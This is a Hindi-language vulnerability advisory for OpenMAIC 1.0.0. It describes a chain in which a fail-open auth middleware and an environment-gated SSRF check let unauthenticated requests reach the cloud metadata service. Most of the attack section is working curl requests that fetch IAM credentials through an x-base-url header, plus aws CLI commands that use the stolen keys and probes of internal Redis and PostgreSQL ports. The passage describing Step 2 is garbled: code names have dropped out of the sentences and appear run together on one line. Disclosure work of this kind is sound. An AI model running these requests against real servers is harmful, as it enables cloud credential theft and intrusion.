
OpenMAIC 1.0.0: Fail-Open मिडलवेयर और Environment-Gated Validation Bypass के माध्यम से Cloud Metadata Service तक Unauthenticated Outbound SSRF
सत्यापित। OpenMAIC के ऑथेंटिकेशन मिडलवेयर और आउटबाउंड प्रोवाइडर रिक्वेस्ट लेयर में एक दो-चरणीय एक्सप्लॉइट चेन मौजूद है जो एक अनऑथेंटिकेटेड रिमोट हमलावर को बिना किसी क्रेडेंशियल के एप्लिकेशन सर्वर से मनमाने आउटबाउंड HTTP अनुरोध करने की अनुमति देती है - जिसमें 169.254.169.254 पर क्लाउड इंस्टेंस मेटाडेटा सर्विस (IMDS) भी शामिल है।
चरण 1: middleware.ts में Next.js Edge मिडलवेयर ACCESS_CODE एनवायरनमेंट वेरिएबल के अनुपस्थित होने पर फेल-ओपन स्थिति लागू करता है। डिफ़ॉल्ट .env.example कॉन्फ़िगरेशन में, ACCESS_CODE सेट नहीं है, जिसका अर्थ है कि सभी 70 API रूट वैश्विक रूप से अनऑथेंटिकेटेड हैं और किसी भी बाहरी क्लाइंट द्वारा पहुँच योग्य हैं।
चरण 2: पाँच अलग-अलग API रूट हैंडलर में, क्लाइंट-आपूर्त किए गए प्रोवाइडर बेस URL ( या रिक्वेस्ट पैरामीटर के माध्यम से) केवल तभी से गुज़रते हैं जब हो। किसी भी , , , या अनसेट एनवायरनमेंट में, SSRF गार्ड पूरी तरह से छोड़ दिया जाता है और एप्लिकेशन हमलावर-नियंत्रित URL पर आउटबाउंड करता है।
x-base-urlbaseUrlvalidateUrlForSSRF()process.env.NODE_ENV === 'production'developmentstagingpreviewfetch()एक साथ जोड़ने पर: एक अनऑथेंटिकेटेड हमलावर किसी भी जनरेशन एंडपॉइंट पर x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ प्रदान करता है, और सर्वर क्लाउड IAM रोल क्रेडेंशियल्स को फ़ेच करके प्रतिक्रिया में लौटा देता है। किसी पूर्व खाते, टोकन, या स्थानीय पहुँच की आवश्यकता नहीं।
मिडलवेयर सभी API रूट के लिए एकमात्र ऑथेंटिकेशन गेट है। जब ACCESS_CODE सेट नहीं होता - जो .env.example के अनुसार डिफ़ॉल्ट स्थिति है - तो हर रूट पर हर अनुरोध तुरंत पास हो जाता है। कोई फ़ॉलबैक तंत्र नहीं, कोई चेतावनी जारी नहीं, कोई वैकल्पिक ऑथ चेक नहीं। फेल-ओपन बिना शर्त और मौन है। यह 70 API एंडपॉइंट्स को उजागर करता है जिनमें जनरेशन, पर्सिस्टेंस, मीडिया प्रॉक्सी, एक्सट्रैक्शन, और AI एक्ज़ीक्यूशन रूट शामिल हैं, जो किसी भी अनऑथेंटिकेटेड कॉलर के लिए खुले हैं।
lib/server/ssrf-guard.ts में validateUrlForSSRF फ़ंक्शन पहले से ही ALLOW_LOCAL_NETWORKS के माध्यम से एनवायरनमेंट-विशिष्ट अपवादों को सही ढंग से संभालता है। प्रत्येक रूट हैंडलर में NODE_ENV गेट डेव-मोड सुविधा के रूप में पूरी तरह से अनावश्यक है, लेकिन सुरक्षा सीमा के रूप में विनाशकारी है: यह staging, preview, CI/CD, और self-hosted डिप्लॉयमेंट्स में SSRF वैलिडेशन को वैश्विक रूप से अक्षम कर देता है जहाँ NODE_ENV स्पष्ट रूप से 'production' पर सेट नहीं है।
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
अपेक्षित प्रतिक्रिया (IMDS पासथ्रू):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
अपेक्षित प्रतिक्रिया:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| चरण | स्टेप | प्रभाव |
|---|---|---|
| 1. अनऑथेंटिकेटेड इनग्रेस | रिमोट क्लाइंट बिना कुकीज़ या टोकन के /api/generate/image पर HTTP अनुरोध भेजता है | middleware.ts !process.env.ACCESS_CODE का मूल्यांकन करता है और NextResponse.next() को आमंत्रित करता है |
| 2. हेडर इनजेशन | हमलावर हेडर में लक्ष्य आंतरिक पते को निर्दिष्ट करता है: x-base-url: http://169.254.169.254/... | रूट हैंडलर रिक्वेस्ट हेडर्स से clientBaseUrl निकालता है |
| 3. SSRF बायपास | सर्वर एनवायरनमेंट में NODE_ENV !== 'production' है (जैसे, staging या कंटेनर डिफ़ॉल्ट) | हैंडलर process.env.NODE_ENV === 'production' का मूल्यांकन false के रूप में करता है और validateUrlForSSRF() को छोड़ देता है |
| 4. आउटबाउंड रिक्वेस्ट सिंक | सर्विस क्लाइंट हमलावर-आपूर्त किए गए बेस URL के साथ इनिशियलाइज़ होता है और अनुरोध निष्पादित करता है | सर्वर http://169.254.169.254/ पर आउटबाउंड fetch() करता है |
| 5. मेटाडेटा एक्सफ़िल्ट्रेशन | क्लाउड इंस्टेंस मेटाडेटा सर्विस मेटाडेटा या IAM सुरक्षा क्रेडेंशियल्स के साथ प्रतिक्रिया देती है | सर्वर HTTP प्रतिक्रिया बॉडी को API रिटर्न पेलोड या त्रुटि संदेश में शामिल करता है |
| 6. क्लाउड पिवट | हमलावर अस्थायी AWS/GCP/Azure सुरक्षा क्रेडेंशियल्स निकालता है | हमलावर क्लाउड संसाधनों और डेटास्टोर्स तक पहुँचने के लिए बाहरी रूप से क्लाउड क्रेडेंशियल्स का उपयोग करता है |
पूर्व शर्तें:
ACCESS_CODE सेट नहीं है (डिफ़ॉल्ट कॉन्फ़िगरेशन)।NODE_ENV सख्ती से 'production' पर सेट नहीं है (जैसे, staging, dev, self-hosted, या गलत कॉन्फ़िगर किया गया कंटेनर)।दुर्भावनापूर्ण पेलोड डिप्लॉय किए बिना पहुँच की पुष्टि करने और सुरक्षा बचावों को मान्य करने के लिए:
process.env.ACCESS_CODE अपरिभाषित होता है, तो middleware.ts NextResponse.next() लौटाता है। किसी भी संरक्षित एंडपॉइंट (जैसे, POST /api/generate/image) पर बिना ऑथ हेडर्स के HTTP अनुरोध भेजने पर 401 Access Code Required अस्वीकृति के बजाय एंडपॉइंट-स्तरीय प्रतिक्रिया (जैसे, प्रोवाइडर कॉन्फ़िगरेशन के लिए 400/401) मिलती है।NODE_ENV="staging" या NODE_ENV="development" के साथ, जाँचें कि क्या validateUrlForSSRF को कॉल किया जाता है। if (clientBaseUrl && process.env.NODE_ENV === 'production') के कारण, एक्ज़ीक्यूशन वैलिडेशन ब्लॉक को छोड़कर निर्दिष्ट बेस URL से नेटवर्क कनेक्शन का प्रयास करता है।NODE_ENV='development' सेट करता है और लूपबैक URL http://127.0.0.1:9999 प्रदान करता है, यह सत्यापित करता है कि अनुरोध INVALID_URL (403) के साथ अस्वीकार किया जाता है या नेटवर्क ट्रांसपोर्ट तक आगे बढ़ने की अनुमति दी जाती है। अनपैच्ड स्थिति में, अनुरोध सॉकेट कनेक्शन का प्रयास करता है; पैच्ड स्थिति में, इसे तुरंत HTTP 403 के साथ अस्वीकार कर दिया जाता है।